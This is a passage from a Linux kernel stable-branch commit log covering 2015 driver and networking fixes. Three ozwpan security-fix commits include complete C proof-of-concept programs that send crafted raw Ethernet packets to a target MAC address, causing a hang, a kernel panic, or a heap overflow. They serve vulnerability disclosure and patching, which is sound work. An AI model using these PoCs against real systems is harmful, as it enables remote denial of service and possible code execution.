Hiroyuki Cc: Tang Chen Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c99ade80d864935a884498d544a669363f8f300c Author: Jani Nikula Date: Tue Jun 2 19:21:15 2015 +0300 drm/i915: Fix DDC probe for passive adapters commit 3f5f1554ee715639e78d9be87623ee82772537e0 upstream. Passive DP->DVI/HDMI dongles on DP++ ports show up to the system as HDMI devices, as they do not have a sink device in them to respond to any AUX traffic. When probing these dongles over the DDC, sometimes they will NAK the first attempt even though the transaction is valid and they support the DDC protocol. The retry loop inside of drm_do_probe_ddc_edid() would normally catch this case and try the transaction again, resulting in success. That, however, was thwarted by the fix for [1]: commit 9292f37e1f5c79400254dca46f83313488093825 Author: Eugeni Dodonov Date: Thu Jan 5 09:34:28 2012 -0200 drm: give up on edid retries when i2c bus is not responding This added code to exit immediately if the return code from the i2c_transfer function was -ENXIO in order to reduce the amount of time spent in waiting for unresponsive or disconnected devices. That was possible because the underlying i2c bit banging algorithm had retries of its own (which, of course, were part of the reason for the bug the commit fixes). Since its introduction in commit f899fc64cda8569d0529452aafc0da31c042df2e Author: Chris Wilson Date: Tue Jul 20 15:44:45 2010 -0700 drm/i915: use GMBUS to manage i2c links we've been flipping back and forth enabling the GMBUS transfers, but we've settled since then. The GMBUS implementation does not do any retries, however, bailing out of the drm_do_probe_ddc_edid() retry loop on first encounter of -ENXIO. This, combined with Eugeni's commit, broke the retry on -ENXIO. Retry GMBUS once on -ENXIO on first message to mitigate the issues with passive adapters. This patch is based on the work, and commit message, by Todd Previte . [1] https://bugs.freedesktop.org/show_bug.cgi?id=41059 v2: Don't retry if using bit banging. v3: Move retry within gmbux_xfer, retry only on first message. v4: Initialize GMBUS0 on retry (Ville). v5: Take index reads into account (Ville). Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=85924 Cc: Todd Previte Tested-by: Oliver Grafe (v2) Tested-by: Jim Bride Reviewed-by: Ville Syrjälä Signed-off-by: Jani Nikula Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a02a75545f435106014a967737883940c37b83d9 Author: Aaro Koskinen Date: Mon Jun 8 11:32:43 2015 +0300 pata_octeon_cf: fix broken build commit 4710f2facb5c68d629015747bd09b37203e0d137 upstream. MODULE_DEVICE_TABLE is referring to wrong driver's table and breaks the build. Fix that. Signed-off-by: Aaro Koskinen Signed-off-by: Tejun Heo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f417f34c997266ff90c9cc62ac18462f2ab39223 Author: Jason A. Donenfeld Date: Fri May 29 13:07:01 2015 +0200 ozwpan: unchecked signed subtraction leads to DoS commit 9a59029bc218b48eff8b5d4dde5662fd79d3e1a8 upstream. The subtraction here was using a signed integer and did not have any bounds checking at all. This commit adds proper bounds checking, made easy by use of an unsigned integer. This way, a single packet won't be able to remotely trigger a massive loop, locking up the system for a considerable amount of time. A PoC follows below, which requires ozprotocol.h from this module. =-=-=-=-=-= #include #include #include #include #include #include #include #include #include #include #define u8 uint8_t #define u16 uint16_t #define u32 uint32_t #define __packed __attribute__((__packed__)) #include "ozprotocol.h" static int hex2num(char c) { if (c >= '0' && c <= '9') return c - '0'; if (c >= 'a' && c <= 'f') return c - 'a' + 10; if (c >= 'A' && c <= 'F') return c - 'A' + 10; return -1; } static int hwaddr_aton(const char *txt, uint8_t *addr) { int i; for (i = 0; i < 6; i++) { int a, b; a = hex2num(*txt++); if (a < 0) return -1; b = hex2num(*txt++); if (b < 0) return -1; *addr++ = (a << 4) | b; if (i < 5 && *txt++ != ':') return -1; } return 0; } int main(int argc, char *argv[]) { if (argc < 3) { fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]); return 1; } uint8_t dest_mac[6]; if (hwaddr_aton(argv[2], dest_mac)) { fprintf(stderr, "Invalid mac address.\n"); return 1; } int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW); if (sockfd < 0) { perror("socket"); return 1; } struct ifreq if_idx; int interface_index; strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1); if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) { perror("SIOCGIFINDEX"); return 1; } interface_index = if_idx.ifr_ifindex; if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) { perror("SIOCGIFHWADDR"); return 1; } uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data; struct { struct ether_header ether_header; struct oz_hdr oz_hdr; struct oz_elt oz_elt; struct oz_elt_connect_req oz_elt_connect_req; struct oz_elt oz_elt2; struct oz_multiple_fixed oz_multiple_fixed; } __packed packet = { .ether_header = { .ether_type = htons(OZ_ETHERTYPE), .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] }, .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }, .oz_hdr = { .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT), .last_pkt_num = 0, .pkt_num = htole32(0) }, .oz_elt = { .type = OZ_ELT_CONNECT_REQ, .length = sizeof(struct oz_elt_connect_req) }, .oz_elt_connect_req = { .mode = 0, .resv1 = {0}, .pd_info = 0, .session_id = 0, .presleep = 0, .ms_isoc_latency = 0, .host_vendor = 0, .keep_alive = 0, .apps = htole16((1 << OZ_APPID_USB) | 0x1), .max_len_div16 = 0, .ms_per_isoc = 0, .up_audio_buf = 0, .ms_per_elt = 0 }, .oz_elt2 = { .type = OZ_ELT_APP_DATA, .length = sizeof(struct oz_multiple_fixed) - 3 }, .oz_multiple_fixed = { .app_id = OZ_APPID_USB, .elt_seq_num = 0, .type = OZ_USB_ENDPOINT_DATA, .endpoint = 0, .format = OZ_DATA_F_MULTIPLE_FIXED, .unit_size = 1, .data = {0} } }; struct sockaddr_ll socket_address = { .sll_ifindex = interface_index, .sll_halen = ETH_ALEN, .sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }; if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) { perror("sendto"); return 1; } return 0; } Signed-off-by: Jason A. Donenfeld Acked-by: Dan Carpenter Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7257d66fa3457a4326ca9a2707c28f99b530ad1b Author: Jason A. Donenfeld Date: Fri May 29 13:07:00 2015 +0200 ozwpan: divide-by-zero leading to panic commit 04bf464a5dfd9ade0dda918e44366c2c61fce80b upstream. A network supplied parameter was not checked before division, leading to a divide-by-zero. Since this happens in the softirq path, it leads to a crash. A PoC follows below, which requires the ozprotocol.h file from this module. =-=-=-=-=-= #include #include #include #include #include #include #include #include #include #include #define u8 uint8_t #define u16 uint16_t #define u32 uint32_t #define __packed __attribute__((__packed__)) #include "ozprotocol.h" static int hex2num(char c) { if (c >= '0' && c <= '9') return c - '0'; if (c >= 'a' && c <= 'f') return c - 'a' + 10; if (c >= 'A' && c <= 'F') return c - 'A' + 10; return -1; } static int hwaddr_aton(const char *txt, uint8_t *addr) { int i; for (i = 0; i < 6; i++) { int a, b; a = hex2num(*txt++); if (a < 0) return -1; b = hex2num(*txt++); if (b < 0) return -1; *addr++ = (a << 4) | b; if (i < 5 && *txt++ != ':') return -1; } return 0; } int main(int argc, char *argv[]) { if (argc < 3) { fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]); return 1; } uint8_t dest_mac[6]; if (hwaddr_aton(argv[2], dest_mac)) { fprintf(stderr, "Invalid mac address.\n"); return 1; } int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW); if (sockfd < 0) { perror("socket"); return 1; } struct ifreq if_idx; int interface_index; strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1); if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) { perror("SIOCGIFINDEX"); return 1; } interface_index = if_idx.ifr_ifindex; if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) { perror("SIOCGIFHWADDR"); return 1; } uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data; struct { struct ether_header ether_header; struct oz_hdr oz_hdr; struct oz_elt oz_elt; struct oz_elt_connect_req oz_elt_connect_req; struct oz_elt oz_elt2; struct oz_multiple_fixed oz_multiple_fixed; } __packed packet = { .ether_header = { .ether_type = htons(OZ_ETHERTYPE), .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] }, .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }, .oz_hdr = { .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT), .last_pkt_num = 0, .pkt_num = htole32(0) }, .oz_elt = { .type = OZ_ELT_CONNECT_REQ, .length = sizeof(struct oz_elt_connect_req) }, .oz_elt_connect_req = { .mode = 0, .resv1 = {0}, .pd_info = 0, .session_id = 0, .presleep = 0, .ms_isoc_latency = 0, .host_vendor = 0, .keep_alive = 0, .apps = htole16((1 << OZ_APPID_USB) | 0x1), .max_len_div16 = 0, .ms_per_isoc = 0, .up_audio_buf = 0, .ms_per_elt = 0 }, .oz_elt2 = { .type = OZ_ELT_APP_DATA, .length = sizeof(struct oz_multiple_fixed) }, .oz_multiple_fixed = { .app_id = OZ_APPID_USB, .elt_seq_num = 0, .type = OZ_USB_ENDPOINT_DATA, .endpoint = 0, .format = OZ_DATA_F_MULTIPLE_FIXED, .unit_size = 0, .data = {0} } }; struct sockaddr_ll socket_address = { .sll_ifindex = interface_index, .sll_halen = ETH_ALEN, .sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }; if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) { perror("sendto"); return 1; } return 0; } Signed-off-by: Jason A. Donenfeld Acked-by: Dan Carpenter Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4b58e064ec5ae31e529af71b6cf0caffa9eefff4 Author: Jason A. Donenfeld Date: Fri May 29 13:06:58 2015 +0200 ozwpan: Use proper check to prevent heap overflow commit d114b9fe78c8d6fc6e70808c2092aa307c36dc8e upstream. Since elt->length is a u8, we can make this variable a u8. Then we can do proper bounds checking more easily. Without this, a potentially negative value is passed to the memcpy inside oz_hcd_get_desc_cnf, resulting in a remotely exploitable heap overflow with network supplied data. This could result in remote code execution. A PoC which obtains DoS follows below. It requires the ozprotocol.h file from this module. =-=-=-=-=-= #include #include #include #include #include #include #include #include #include #include #define u8 uint8_t #define u16 uint16_t #define u32 uint32_t #define __packed __attribute__((__packed__)) #include "ozprotocol.h" static int hex2num(char c) { if (c >= '0' && c <= '9') return c - '0'; if (c >= 'a' && c <= 'f') return c - 'a' + 10; if (c >= 'A' && c <= 'F') return c - 'A' + 10; return -1; } static int hwaddr_aton(const char *txt, uint8_t *addr) { int i; for (i = 0; i < 6; i++) { int a, b; a = hex2num(*txt++); if (a < 0) return -1; b = hex2num(*txt++); if (b < 0) return -1; *addr++ = (a << 4) | b; if (i < 5 && *txt++ != ':') return -1; } return 0; } int main(int argc, char *argv[]) { if (argc < 3) { fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]); return 1; } uint8_t dest_mac[6]; if (hwaddr_aton(argv[2], dest_mac)) { fprintf(stderr, "Invalid mac address.\n"); return 1; } int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW); if (sockfd < 0) { perror("socket"); return 1; } struct ifreq if_idx; int interface_index; strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1); if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) { perror("SIOCGIFINDEX"); return 1; } interface_index = if_idx.ifr_ifindex; if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) { perror("SIOCGIFHWADDR"); return 1; } uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data; struct { struct ether_header ether_header; struct oz_hdr oz_hdr; struct oz_elt oz_elt; struct oz_elt_connect_req oz_elt_connect_req; } __packed connect_packet = { .ether_header = { .ether_type = htons(OZ_ETHERTYPE), .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] }, .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }, .oz_hdr = { .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT), .last_pkt_num = 0, .pkt_num = htole32(0) }, .oz_elt = { .type = OZ_ELT_CONNECT_REQ, .length = sizeof(struct oz_elt_connect_req) }, .oz_elt_connect_req = { .mode = 0, .resv1 = {0}, .pd_info = 0, .session_id = 0, .presleep = 35, .ms_isoc_latency = 0, .host_vendor = 0, .keep_alive = 0, .apps = htole16((1 << OZ_APPID_USB) | 0x1), .max_len_div16 = 0, .ms_per_isoc = 0, .up_audio_buf = 0, .ms_per_elt = 0 } }; struct { struct ether_header ether_header; struct oz_hdr oz_hdr; struct oz_elt oz_elt; struct oz_get_desc_rsp oz_get_desc_rsp; } __packed pwn_packet = { .ether_header = { .ether_type = htons(OZ_ETHERTYPE), .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] }, .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }, .oz_hdr = { .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT), .last_pkt_num = 0, .pkt_num = htole32(1) }, .oz_elt = { .type = OZ_ELT_APP_DATA, .length = sizeof(struct oz_get_desc_rsp) - 2 }, .oz_get_desc_rsp = { .app_id = OZ_APPID_USB, .elt_seq_num = 0, .type = OZ_GET_DESC_RSP, .req_id = 0, .offset = htole16(0), .total_size = htole16(0), .rcode = 0, .data = {0} } }; struct sockaddr_ll socket_address = { .sll_ifindex = interface_index, .sll_halen = ETH_ALEN, .sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }; if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) { perror("sendto"); return 1; } usleep(300000); if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) { perror("sendto"); return 1; } return 0; } Signed-off-by: Jason A. Donenfeld Acked-by: Dan Carpenter Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0d19b2e6f85554df189c7b0934d75d93f6e41d2b Author: James Hogan Date: Thu Jun 4 13:25:27 2015 +0100 MIPS: Fix enabling of DEBUG_STACKOVERFLOW commit 5f35b9cd553fd64415b563497d05a563c988dbd6 upstream. Commit 334c86c494b9 ("MIPS: IRQ: Add stackoverflow detection") added kernel stack overflow detection, however it only enabled it conditional upon the preprocessor definition DEBUG_STACKOVERFLOW, which is never actually defined. The Kconfig option is called DEBUG_STACKOVERFLOW, which manifests to the preprocessor as CONFIG_DEBUG_STACKOVERFLOW, so switch it to using that definition instead. Fixes: 334c86c494b9 ("MIPS: IRQ: Add stackoverflow detection") Signed-off-by: James Hogan Cc: Ralf Baechle Cc: Adam Jiang Cc: linux-mips@linux-mips.org Patchwork: http://patchwork.linux-mips.org/patch/10531/ Signed-off-by: Ralf Baechle Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 984c05bb5d8a42fefe69ebcafee29373a5271a74 Author: Wang Long Date: Wed Jun 10 08:12:37 2015 +0000 ring-buffer-benchmark: Fix the wrong sched_priority of producer commit 108029323910c5dd1ef8fa2d10da1ce5fbce6e12 upstream. The producer should be used producer_fifo as its sched_priority, so correct it. Link: http://lkml.kernel.org/r/1433923957-67842-1-git-send-email-long.wanglong@huawei.com Signed-off-by: Wang Long Signed-off-by: Steven Rostedt Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0394a0aa3361b7dad6ef6a53f43e6d1189eb6420 Author: Patrick Riphagen Date: Tue May 19 10:03:01 2015 +0200 USB: serial: ftdi_sio: Add support for a Motion Tracker Development Board commit 1df5b888f54070a373a73b34488cc78c2365b7b4 upstream. This adds support for new Xsens device, Motion Tracker Development Board, using Xsens' own Vendor ID Signed-off-by: Patrick Riphagen Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 02857f0b546ce50b7ef3cd3b8490f6b96d04715a Author: John D. Blair Date: Thu Jun 4 13:18:19 2015 -0700 USB: cp210x: add ID for HubZ dual ZigBee and Z-Wave dongle commit df72d588c54dad57dabb3cc8a87475d8ed66d806 upstream. Added the USB serial device ID for the HubZ dual ZigBee and Z-Wave radio dongle. Signed-off-by: John D. Blair Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3ad3b0019f2066050d2a8a31b321af72e94c2634 Author: Dan Williams Date: Wed Jun 10 23:47:14 2015 -0400 block: fix ext_dev_lock lockdep report commit 4d66e5e9b6d720d8463e11d027bd4ad91c8b1318 upstream. ================================= [ INFO: inconsistent lock state ] 4.1.0-rc7+ #217 Tainted: G O --------------------------------- inconsistent {SOFTIRQ-ON-W} -> {IN-SOFTIRQ-W} usage. swapper/6/0 [HC0[0]:SC1[1]:HE1:SE0] takes: (ext_devt_lock){+.?...}, at: [] blk_free_devt+0x3c/0x70 {SOFTIRQ-ON-W} state was registered at: [] __lock_acquire+0x461/0x1e70 [] lock_acquire+0xb7/0x290 [] _raw_spin_lock+0x38/0x50 [] blk_alloc_devt+0x6d/0xd0 <-- take the lock in process context [..] [] __lock_acquire+0x3fe/0x1e70 [] ? __lock_acquire+0xe5d/0x1e70 [] lock_acquire+0xb7/0x290 [] ? blk_free_devt+0x3c/0x70 [] _raw_spin_lock+0x38/0x50 [] ? blk_free_devt+0x3c/0x70 [] blk_free_devt+0x3c/0x70 <-- take the lock in softirq [] part_release+0x1c/0x50 [] device_release+0x36/0xb0 [] kobject_cleanup+0x7b/0x1a0 [] kobject_put+0x30/0x70 [] put_device+0x17/0x20 [] delete_partition_rcu_cb+0x16c/0x180 [] ? read_dev_sector+0xa0/0xa0 [] rcu_process_callbacks+0x2ff/0xa90 [] ? rcu_process_callbacks+0x2bf/0xa90 [] __do_softirq+0xde/0x600 Neil sees this in his tests and it also triggers on pmem driver unbind for the libnvdimm tests. This fix is on top of an initial fix by Keith for incorrect usage of mutex_lock() in this path: 2da78092dda1 "block: Fix dev_t minor allocation lifetime". Both this and 2da78092dda1 are candidates for -stable. Fixes: 2da78092dda1 ("block: Fix dev_t minor allocation lifetime") Cc: Keith Busch Reported-by: NeilBrown Signed-off-by: Dan Williams Signed-off-by: Jens Axboe Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit df6fef62d7fbbe59b006d95858bc0d1e533477b2 Author: Hans de Goede Date: Tue Jun 2 10:40:50 2015 -0700 Input: elantech - fix detection of touchpads where the revision matches a known rate commit 5f0ee9d17aae628b22be86966471db65be21f262 upstream. Make the check to skip the rate check more lax, so that it applies to all hw_version 4 models. This fixes the touchpad not being detected properly on Asus PU551LA laptops. Reported-and-tested-by: David Zafra Gómez Signed-off-by: Hans de Goede Signed-off-by: Dmitry Torokhov Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 39f6b3ed8c34dd2f6d4d2442a954c055845341c1 Author: Clemens Ladisch Date: Wed Jun 3 11:36:42 2015 +0200 ALSA: usb-audio: add MAYA44 USB+ mixer control names commit 044bddb9ca8d49edb91bc22b9940a463b0dbb97f upstream. Add mixer control names for the ESI Maya44 USB+ (which appears to be identical width the AudioTrak Maya44 USB). Reported-by: nightmixes Signed-off-by: Clemens Ladisch Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 006fef4fc786da21b18ad69189fa78aa88625874 Author: Wolfram Sang Date: Fri May 29 19:50:56 2015 +0900 ALSA: usb-audio: Add mic volume fix quirk for Logitech Quickcam Fusion commit 1ef9f0583514508bc93427106ceef3215e4eb1a5 upstream. Fix this from the logs: usb 7-1: New USB device found, idVendor=046d, idProduct=08ca ... usb 7-1: Warning! Unlikely big volume range (=3072), cval->res is probably wrong. usb 7-1: [5] FU [Mic Capture Volume] ch = 1, val = 4608/7680/1 Signed-off-by: Wolfram Sang Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5ce4c0c258f891821b6b9bfde561a654c04e07f7 Author: Takashi Iwai Date: Tue Jun 2 19:57:08 2015 +0200 ALSA: hda/realtek - Add a fixup for another Acer Aspire 9420 commit b5d724b1add6eabf3aa7276ab3454ea9f45eebd3 upstream. Acer Aspire 9420 with ALC883 (1025:0107) needs the fixup for EAPD to make the sound working like other Aspire models. Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=94111 Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 266817227aa72086de0714e6e16bde4e54f0dfcd Author: Paul Cercueil Date: Fri May 15 17:18:36 2015 +0200 iio: adis16400: Compute the scan mask from channel indices commit c2a8b623a089d52c199e305e7905829907db8ec8 upstream. We unfortunately can't use ~0UL for the scan mask to indicate that the only valid scan mask is all channels selected. The IIO core needs the exact mask to work correctly and not a super-set of it. So calculate the masked based on the channels that are available for a particular device. Signed-off-by: Paul Cercueil Signed-off-by: Lars-Peter Clausen Fixes: 5eda3550a3cc ("staging:iio:adis16400: Preallocate transfer message") Signed-off-by: Jonathan Cameron Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f2077e4c351a93e1c74a5387136df01abf46e8c6 Author: Paul Cercueil Date: Fri May 15 17:18:35 2015 +0200 iio: adis16400: Use != channel indices for the two voltage channels commit 7323d59862802ca109451eeda9777024a7625509 upstream. Previously, the two voltage channels had the same ID, which didn't cause conflicts in sysfs only because one channel is named and the other isn't; this is still violating the spec though, two indexed channels should never have the same index. Signed-off-by: Paul Cercueil Signed-off-by: Lars-Peter Clausen Signed-off-by: Jonathan Cameron Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 60e1d5b108d8c678f4e79d2ea787208c72b9acf1 Author: Lars-Peter Clausen Date: Fri May 15 17:18:34 2015 +0200 iio: adis16400: Report pressure channel scale commit 69ca2d771e4e709c5ae1125858e1246e77ef8b86 upstream. Add the scale for the pressure channel, which is currently missing. Signed-off-by: Lars-Peter Clausen Fixes: 76ada52f7f5d ("iio:adis16400: Add support for the adis16448") Signed-off-by: Jonathan Cameron Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 012dacc6946dd0eb8e402a8785a64bf8617435d9 Author: Ian Campbell Date: Mon Jun 1 11:30:24 2015 +0100 xen: netback: read hotplug script once at start of day. [ Upstream commit 31a418986a5852034d520a5bab546821ff1ccf3d ] When we come to tear things down in netback_remove() and generate the uevent it is possible that the xenstore directory has already been removed (details below). In such cases netback_uevent() won't be able to read the hotplug script and will write a xenstore error node. A recent change to the hypervisor exposed this race such that we now sometimes lose it (where apparently we didn't ever before). Instead read the hotplug script configuration during setup and use it for the lifetime of the backend device. The apparently more obvious fix of moving the transition to state=Closed in netback_remove() to after the uevent does not work because it is possible that we are already in state=Closed (in reaction to the guest having disconnected as it shutdown). Being already in Closed means the toolstack is at liberty to start tearing down the xenstore directories. In principal it might be possible to arrange to unregister the device sooner (e.g on transition to Closing) such that xenstore would still be there but this state machine is fragile and prone to anger... A modern Xen system only relies on the hotplug uevent for driver domains, when the backend is in the same domain as the toolstack it will run the necessary setup/teardown directly in the correct sequence wrt xenstore changes. Signed-off-by: Ian Campbell Acked-by: Wei Liu Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e23e8b4df94905645597df1025d22aef4f26795a Author: WANG Cong Date: Tue May 26 16:08:48 2015 -0700 net_sched: invoke ->attach() after setting dev->qdisc [ Upstream commit 86e363dc3b50bfd50a1f315934583fbda673ab8d ] For mq qdisc, we add per tx queue qdisc to root qdisc for display purpose, however, that happens too early, before the new dev->qdisc is finally set, this causes q->list points to an old root qdisc which is going to be freed right before assigning with a new one. Fix this by moving ->attach() after setting dev->qdisc. For the record, this fixes the following crash: ------------[ cut here ]------------ WARNING: CPU: 1 PID: 975 at lib/list_debug.c:59 __list_del_entry+0x5a/0x98() list_del corruption. prev->next should be ffff8800d1998ae8, but was 6b6b6b6b6b6b6b6b CPU: 1 PID: 975 Comm: tc Not tainted 4.1.0-rc4+ #1019 Hardware name: Bochs Bochs, BIOS Bochs 01/01/2011 0000000000000009 ffff8800d73fb928 ffffffff81a44e7f 0000000047574756 ffff8800d73fb978 ffff8800d73fb968 ffffffff810790da ffff8800cfc4cd20 ffffffff814e725b ffff8800d1998ae8 ffffffff82381250 0000000000000000 Call Trace: [] dump_stack+0x4c/0x65 [] warn_slowpath_common+0x9c/0xb6 [] ? __list_del_entry+0x5a/0x98 [] warn_slowpath_fmt+0x46/0x48 [] ? dev_graft_qdisc+0x5e/0x6a [] __list_del_entry+0x5a/0x98 [] list_del+0xe/0x2d [] qdisc_list_del+0x1e/0x20 [] qdisc_destroy+0x30/0xd6 [] qdisc_graft+0x11d/0x243 [] tc_get_qdisc+0x1a6/0x1d4 [] ? mark_lock+0x2e/0x226 [] rtnetlink_rcv_msg+0x181/0x194 [] ? rtnl_lock+0x17/0x19 [] ? rtnl_lock+0x17/0x19 [] ? __rtnl_unlock+0x17/0x17 [] netlink_rcv_skb+0x4d/0x93 [] rtnetlink_rcv+0x26/0x2d [] netlink_unicast+0xcb/0x150 [] ? might_fault+0x59/0xa9 [] netlink_sendmsg+0x4fa/0x51c [] sock_sendmsg_nosec+0x12/0x1d [] sock_sendmsg+0x29/0x2e [] ___sys_sendmsg+0x1b4/0x23a [] ? native_sched_clock+0x35/0x37 [] ? sched_clock_local+0x12/0x72 [] ? sched_clock_cpu+0x9e/0xb7 [] ? current_kernel_time+0xe/0x32 [] ? lock_release_holdtime.part.29+0x71/0x7f [] ? read_seqcount_begin.constprop.27+0x5f/0x76 [] ? trace_hardirqs_on_caller+0x17d/0x199 [] ? __fget_light+0x50/0x78 [] __sys_sendmsg+0x42/0x60 [] SyS_sendmsg+0x12/0x1c [] system_call_fastpath+0x12/0x6f ---[ end trace ef29d3fb28e97ae7 ]--- For long term, we probably need to clean up the qdisc_graft() code in case it hides other bugs like this. Fixes: 95dc19299f74 ("pkt_sched: give visibility to mq slave qdiscs") Cc: Jamal Hadi Salim Signed-off-by: Cong Wang Acked-by: Eric Dumazet Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4844b74bdfe4b59a1a90b0ec176f0aee426f42c3 Author: Mark Salyzyn Date: Tue May 26 08:22:19 2015 -0700 unix/caif: sk_socket can disappear when state is unlocked [ Upstream commit b48732e4a48d80ed4a14812f0bab09560846514e ] got a rare NULL pointer dereference in clear_bit Signed-off-by: Mark Salyzyn Acked-by: Hannes Frederic Sowa ---- v2: switch to sock_flag(sk, SOCK_DEAD) and added net/caif/caif_socket.c v3: return -ECONNRESET in upstream caller of wait function for SOCK_DEAD Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c6a3686854b23bb6ec33409326f22e0f9be710aa Author: Richard Cochran Date: Mon May 25 11:55:43 2015 +0200 net: dp83640: fix broken calibration routine. [ Upstream commit 397a253af5031de4a4612210055935309af4472c ] Currently, the calibration function that corrects the initial offsets among multiple devices only works the first time. If the function is called more than once, the calibration fails and bogus offsets will be programmed into the devices. In a well hidden spot, the device documentation tells that trigger indexes 0 and 1 are special in allowing the TRIG_IF_LATE flag to actually work. This patch fixes the issue by using one of the special triggers during the recalibration method. Signed-off-by: Richard Cochran Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1ac8e81b0bbbafd35db2a7ab74c7a48239ac4205 Author: Thadeu Lima de Souza Cascardo Date: Fri May 22 12:18:59 2015 -0300 bridge: fix parsing of MLDv2 reports [ Upstream commit 47cc84ce0c2fe75c99ea5963c4b5704dd78ead54 ] When more than a multicast address is present in a MLDv2 report, all but the first address is ignored, because the code breaks out of the loop if there has not been an error adding that address. This has caused failures when two guests connected through the bridge tried to communicate using IPv6. Neighbor discoveries would not be transmitted to the other guest when both used a link-local address and a static address. This only happens when there is a MLDv2 querier in the network. The fix will only break out of the loop when there is a failure adding a multicast address. The mdb before the patch: dev ovirtmgmt port vnet0 grp ff02::1:ff7d:6603 temp dev ovirtmgmt port vnet1 grp ff02::1:ff7d:6604 temp dev ovirtmgmt port bond0.86 grp ff02::2 temp After the patch: dev ovirtmgmt port vnet0 grp ff02::1:ff7d:6603 temp dev ovirtmgmt port vnet1 grp ff02::1:ff7d:6604 temp dev ovirtmgmt port bond0.86 grp ff02::fb temp dev ovirtmgmt port bond0.86 grp ff02::2 temp dev ovirtmgmt port bond0.86 grp ff02::d temp dev ovirtmgmt port vnet0 grp ff02::1:ff00:76 temp dev ovirtmgmt port bond0.86 grp ff02::16 temp dev ovirtmgmt port vnet1 grp ff02::1:ff00:77 temp dev ovirtmgmt port bond0.86 grp ff02::1:ff00:def temp dev ovirtmgmt port bond0.86 grp 